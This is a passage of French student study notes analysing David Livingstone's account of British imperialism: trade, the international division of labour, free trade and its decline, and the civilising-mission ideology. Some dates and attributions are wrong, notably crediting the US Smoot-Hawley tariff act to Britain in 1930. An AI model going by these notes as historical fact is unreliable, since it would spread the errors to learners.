*car l’impérialisme apparaît comme un élément de prestige & de puissance (constitution de zones d’influence stratégique dans le monde), & permet d’absorber la forte croissance démographique que connaît l’Europe dans la 2ème moitié du XIXème siècle, du fait des progrès associés à la Révolution industrielle, en particulier la 2ème (population européenne multipliée par 1,5 entre 1850 & 1900)

 

 

 

III-…ce qui contribue à la richesse et à la gloire de l’économie-monde britannique

1-Des nécessités économiques : développer le commerce

a-La division internationale du travail

– colonies fournisseurs de matières 1ères nécessaires à l’industrialisation & au développement économique de la métropole (« afin d’en obtenir des matières premières » – §13) : coton, caoutchouc, charbon, pétrole, minerais précieux, produits agricoles (canne à sucre, cacao…), etc. (« ivoire et poudre d’or…huile de palme » – §9 & 11 ; « le coton, l’indigo, le tabac ; la canne à sucre, et d’autres plantes précieuses » – §12) – surtout vrai fin XIXème, pour aider l’Europe  à sortir de la Grande Dépression consécutive au krach de Vienne en mai 1873

– en échange, la métropole exporte des produits manufacturés fabriqués dans les usines britanniques : cotonnades, produits métalliques (« qu’ils pussent échanger contre les produits des fabriques anglaises » – §13)

 

b-La diffusion du libre-échange britannique

– principe favorisant le développement du commerce international par la suppression des barrières douanières, donc qui s’oppose au protectionnisme : système qui repose sur les théories économiques classiques de la DIT & de l’avantage comparatif. Adam Smith est à l’origine de l’analyse économique moderne avec Recherches sur la nature et les causes de la richesse des nations (1776), dans lequel il dit que la décision de commercer avec l’étranger n’est pas naturelle mais résulte des profits attendus, & dans lequel il prône le « laisser faire »

– adoption en GB en 1848, ce qui lui permet de devenir la 1ère puissance commerciale mondiale : en 1913, le RU assure 14% des exportations mondiales & pèse pour 8,3% du PIB mondial

*1846 : abolition complète des lois sur les céréales

*1849 : retrait des lois sur la navigation & les préférences impériales

*1855-1860 : réduction des droits de douane sur les produits industriels

*1860 : élimination complète des droits de douane & signature d’un traité de commerce avec la France

– puis, remise en question du fait du déclin de l’économie britannique dans les 1870s : dès 1880s, retour de tendances protectionnistes au RU

*dès les 1870s, succession de multiples crises : car économie britannique concurrencée par les économies européennes & américaines en plein essor ; retard industriel sur la GB comblé par les autres puissances ; & impact de la Grande dépression (1873-1896), résultant du krach boursier de Vienne

*1881 : création de la Fair Trade League, qui suggère l’instauration d’un commerce loyal (« fair trade », par opposition au « free trade ») – droits de douane compensateurs appliqués à l’égard des pays protectionnistes -, mais échec

*1930 : abandon par le RU du libre-échange (loi Smooth-Hawley sur les tarifs douaniers)

 

2-Des nécessités et justifications idéologiques : répandre les idéaux de la « société impériale » (Christophe Charle, « Le monde britannique, une société impériale (1815-1919) ? », in Cultures et conflits n°77, 2010/1) britannique

– par le développement des connaissances (cf. II-1)

– par la « Britishness » : terme qui pourrait être traduit par « britannicité », utilisé pour qualifier ce qui distingue le peuple britannique des autres peuples européens & forme la base de son unité & de son identité culturelle (habitudes, comportements & symboles – on parle aussi parfois de « Englishness » (MacPhee & Poddar, Empire and After : Englishness in Postcolonial Perspective, 2007)

– par la politique britannique dans les colonies :

*le plus souvent, une administration indirecte, la métropole se contentant d’encadrer les pouvoirs indigènes laissés en place, pratiquant une politique d’association (politique qui reconnaît les particularismes des peuples colonisés & qui cherche à les associer plus activement au développement de la colonie), ce qui permet un plus grand respect de la culture & des coutumes locales, donc une forme d’autogestion/autonomie

*la lutte contre la piraterie & la traite négrière, telle qu’elle est pratiquée par Palmerston (« mesures qui ont pris le nom de politique de Lord Palmerston…La piraterie avait disparu ; et la traite avait diminué » – §8), au nom des principes civilisateurs des droits de l’homme (« Pas de plus grand obstacle au progrès de la civilisation…que cet odieux trafic » – §10) : au point même d’inspirer d’autres colonisateurs, tels les Portugais (« parmi les Portugais, ceux même qui avaient fait le trafic des noirs en parlaient comme d’une chose des temps passés. » – §8) – le RU abolit l’esclavage dans l’Empire britannique avec le Slavery Abolition Act de 1833

 

 

 

L’économie-monde britannique s’appuie donc sur un Empire qui s’étend sur tous les continents. La conquête de l’Afrique par la Grande-Bretagne répond à plusieurs objectifs bien mis en évidence dans le texte de David Livingstone, que celui-ci résume en les « 3 C », à savoir « christianisation », « civilisation » et « commerce ». L’économie-monde doit en effet aussi  permettre la diffusion des idées britanniques, et pas seulement des produits, et la mission civilisatrice, ce « fardeau de l’homme blanc » selon Rudyard Kipling, l’auteur du Livre de la jungle (1894), est importante, au-delà même de la recherche de matières premières pourtant essentielles à l’industrialisation, donc à l’assise de la puissance et de la domination économique de la Grande-Bretagne. Toutefois, cette hégémonie est progressivement concurrencée par les autres puissances européennes qui s’industrialisent et se dotent à leur tour d’Empires, comme le montre la conférence de Berlin tenue en 1884-1885 pour statuer sur le sort de l’Afrique coloniale, qui aboutit à des accords de partage de ce continent nouvellement conquis. On doit toutefois rester prudent à l’égard du document, de part le fait qu’il s’agit d’un document autobiographique, qui possède donc une part de subjectivité, liée notamment à la nationalité de son auteur, un britannique : celui-ci en effet porte un regard subjectif sur les mérites et les réussites de la colonisation britannique, comme le suggère l’emploi de termes mélioratifs tels « la remarquable hypothèse » (§3), « tout bon Anglais doit ressentir un juste orgueil » (§5), « les Anglais étant non seulement les plus philanthropes des hommes » (§10)

 

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